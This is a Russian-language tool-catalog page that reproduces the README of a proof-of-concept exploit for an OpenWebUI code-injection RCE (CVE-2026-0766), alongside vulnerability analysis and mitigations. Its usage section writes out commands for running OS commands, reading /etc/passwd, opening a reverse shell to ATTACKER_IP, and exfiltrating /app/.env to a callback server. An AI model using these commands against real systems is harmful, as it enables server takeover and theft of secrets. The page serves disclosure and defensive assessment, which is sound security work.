Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-0766 — Эксплойт proof-of-concept для CVE-2026-0766, уязвимости удалённого выполнения кода в OpenWebUI через внедрение кода в инструменты. Включает режимы выполнения команд, чтения файлов, обратной оболочки и слепой эксфильтрации. | Kitploit
Инструменты/GitHubGitHub/bitt0n/cve-2026-0766
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

Эксплойт proof-of-concept для CVE-2026-0766, уязвимости удалённого выполнения кода в OpenWebUI через внедрение кода в инструменты. Включает режимы выполнения команд, чтения файлов, обратной оболочки и слепой эксфильтрации.

Репозиторий
5 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-0766: Удаленное выполнение кода в OpenWebUI

Образовательный репозиторий по исследованию безопасности

Этот репозиторий содержит proof-of-concept код эксплуатации для CVE-2026-0766 — уязвимости удаленного выполнения кода в OpenWebUI, обнаруженной и опубликованной Zero Day Initiative (ZDI).


⚠️ Отказ от ответственности

Этот репозиторий предназначен только для авторизованного тестирования безопасности и образовательных целей.

  • Используйте этот код для тестирования своих собственных систем или систем, на тестирование которых у вас есть явное разрешение
  • Используйте это для изучения уязвимостей безопасности LLM-платформ
  • ❌ Никогда не используйте это против систем без явного разрешения
  • ❌ Несанкционированный доступ к компьютерным системам противозаконен

Автор не несет ответственности за неправомерное использование этого кода. Пользователи несут единоличную ответственность за соблюдение всех применимых законов и нормативных требований.


📋 Обзор уязвимости

СвойствоЗначение
ID CVECVE-2026-0766
ОбнаруженоZero Day Initiative (ZDI)
Затронутое ПОOpenWebUI
Тип уязвимостиВнедрение кода (CWE-94)
Оценка CVSS8.8 ВЫСОКАЯ
Вектор CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Сложность атакиНизкая (аутентифицированный администратор или пользователь с правами создания/обновления инструментов может эксплуатировать)

Что такое OpenWebUI?

OpenWebUI — это самостоятельно размещаемый веб-интерфейс для больших языковых моделей. Он обеспечивает интерфейс в стиле ChatGPT, который организации могут запускать на собственной инфраструктуре, сохраняя разговоры и данные LLM локально.

Уязвимость

OpenWebUI включает функцию «Инструменты» (Tools), которая позволяет пользователям расширять возможности LLM, отправляя код на Python. Этот код выполняется на стороне сервера через функцию Python exec() без каких-либо механизмов песочницы, проверки или контроля безопасности.

Поток эксплуатации:

  1. Аутентифицированный пользователь создает «Инструмент» через POST /api/v1/tools/create
  2. Предоставленный пользователем код на Python сохраняется в поле content
  3. Сервер вызывает exec(content, module.__dict__) в utils/plugin.py
  4. Произвольный код на Python выполняется с полными привилегиями сервера
  5. Атакующий достигает удаленного выполнения кода (RCE)

Ключевой момент: Код выполняется в момент создания инструмента, а не когда LLM вызывает инструмент. Это означает, что простое создание вредоносного инструмента запускает RCE — дальнейшее взаимодействие не требуется.

Протестированные версии

Эта эксплуатация проверена на:

  • OpenWebUI v0.8.10 — Уязвима ✅ (протестировано 2026-03-28)

Уязвимость носит архитектурный характер (небезопасное использование exec() на пользовательском вводе) и присутствует во всех версиях до выпуска патча безопасности командой OpenWebUI.


🔍 Технические детали

Корневая причина

Уязвимость существует в backend/open_webui/utils/plugin.py:

root@kitploit:~
def load_tool_module_by_id(tool_id: str, content: str):
    # Минимальная предобработка (НЕ контроль безопасности)
    content = replace_imports(content)

    # Создание модуля и выполнение пользовательского кода
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← УЯЗВИМОСТЬ

    return module

Функция replace_imports() только переписывает пути импорта (косметически) — она не ограничивает, какой код может выполняться. Отсутствуют:

  • ❌ Песочница (нет ограниченной среды выполнения)
  • ❌ Проверка кода (нет инспекции AST или белых списков)
  • ❌ Проверки разрешений (все аутентифицированные пользователи могут создавать инструменты по умолчанию)
  • ❌ Разделение привилегий (код выполняется от имени сервисной учетной записи OpenWebUI)

Ответ вендора

Команда OpenWebUI изначально оценила это как низкоприоритетное, отметив, что создание инструментов требует прав администратора. Однако:

  1. Делегирование разрешений распространено — многие развертывания предоставляют создание инструментов опытным пользователям, администраторам рабочих пространств и разработчикам
  2. Скомпрометированные учетные записи администраторов — фишинг, подбор учетных данных и компрометация SSO могут дать атакующим доступ администратора
  3. Нарушение эшелонированной защиты — даже действия администратора должны быть ограничены; неограниченное выполнение кода нарушает принцип минимальных привилегий
  4. Полезность после компрометации — эта уязвимость ценна в цепочках атак после первоначального доступа

После того как вендор предложил администраторам управлять этим с ограниченным доступом, ZDI опубликовала это как 0-day уязвимость (ZDI-26-032) для информирования защитников.

Автор уважает сложности поддержки проектов с открытым исходным кодом. Патчинг безопасности требует баланса между потребностями пользователей, архитектурными ограничениями и ограниченными ресурсами. Эта публикация направлена на помощь командам безопасности в оценке риска и внедрении мер смягчения.


🛠️ Proof of Concept

Установка

root@kitploit:~
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

Использование

Скрипт эксплуатации (exploit.py) поддерживает несколько режимов атаки:

1. Выполнение команд

Выполнение команд ОС и получение вывода:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. Чтение файлов

Чтение файлов из файловой системы сервера:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. Обратная оболочка

Запуск обратной оболочки (требуется netcat-слушатель):

root@kitploit:~
# На машине атакующего:
nc -lvnp 4444

# Запуск эксплуатации:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. Слепая эксфильтрация

Отправка вывода команд на HTTP-сервер обратного вызова:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

Аутентификация

Скрипт принимает как JWT-токены (из входа через SSO), так и API-ключи:

Получение JWT-токена:

  1. Войдите в OpenWebUI обычным способом (SSO или локальная аутентификация)
  2. Откройте инструменты разработчика браузера (F12)
  3. Найдите свой токен:
    • Вкладка Cookies: Найдите значение cookie token
    • Вкладка Network: Скопируйте заголовок Authorization: Bearer ... из любого API-запроса
    • Консоль: Выполните localStorage.getItem("token")
  4. Передайте токен скрипту: --token eyJhbGci...

🔐 Меры смягчения

Для защитников

Если вы запускаете OpenWebUI и не можете немедленно установить патч:

  1. Ограничьте права на создание инструментов только высоконадежными администраторами
  2. Проведите аудит существующих инструментов на наличие вредоносного кода (проверьте содержимое инструментов в базе данных)
  3. Запускайте OpenWebUI с минимальными привилегиями (выделенная сервисная учетная запись, файловая система только для чтения, где это возможно)
  4. Внедрите фильтрацию исходящего сетевого трафика (контейнер не должен иметь произвольный исходящий доступ)
  5. Отслеживайте подозрительное создание инструментов (следите за инструментами, созданными вне обычных рабочих процессов)

Рекомендуемые исправления (для сопровождающих)

  1. Замените exec() на безопасную альтернативу:

    • Используйте RestrictedPython для выполнения в песочнице
    • Разбирайте AST Python и проверяйте по белому списку безопасных операций
    • Выполняйте код инструментов в изолированных контейнерах (gVisor, Firecracker)
  2. Добавьте проверки разрешений:

    • Требуйте одобрения администратора для новых инструментов
    • Внедрите управление доступом на основе ролей для создания инструментов
    • Добавьте рабочий процесс проверки кода перед активацией инструментов
  3. Эшелонированная защита:

    • Запускайте инструменты в отдельных процессах с фильтрацией системных вызовов (seccomp)
    • Ограничьте доступ к файловой системе режимом только для чтения
    • Удалите сетевой доступ из среды выполнения инструментов

📚 Ссылки

  • Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-0766
  • Консультация ZDI: https://www.zerodayinitiative.com/advisories/ZDI-26-032/
  • Консультация GitHub Security: https://github.com/advisories/GHSA-cggw-334c-f4mj
  • CWE-94 (Внедрение кода): https://cwe.mitre.org/data/definitions/94.html
  • OWASP Code Injection: https://owasp.org/www-community/attacks/Code_Injection

🙏 Благодарности

  • Обнаружение уязвимости: Zero Day Initiative (ZDI) — ZDI-26-032 / ZDI-CAN-28257
  • Исследование эксплуатации и разработка PoC: Pradeep Pillai (@bitt0n)

📜 Лицензия

Лицензия MIT — см. файл LICENSE для подробностей.

Этот код предоставлен для образовательных целей и целей защитной безопасности. Автор не несет ответственности за неправомерное использование.


🤝 Ответственное раскрытие

Эта уязвимость была раскрыта ответственно:

  1. ZDI обнаружила и сообщила об уязвимости в OpenWebUI
  2. Согласованный период раскрытия предоставлен вендору для патчинга
  3. Вендор отказался от патчинга (оценено как приемлемый риск)
  4. ZDI опубликовала как 0-day для информирования сообщества безопасности
  5. Этот PoC опубликован после раскрытия для помощи защитникам в оценке риска

Если вы обнаруживаете уязвимости безопасности в проектах с открытым исходным кодом, пожалуйста, следуйте практике ответственного раскрытия и дайте сопровождающим время на установку патча перед публичным раскрытием.


По вопросам или для обратной связи: Откройте issue в этом репозитории.

Скачать инструмент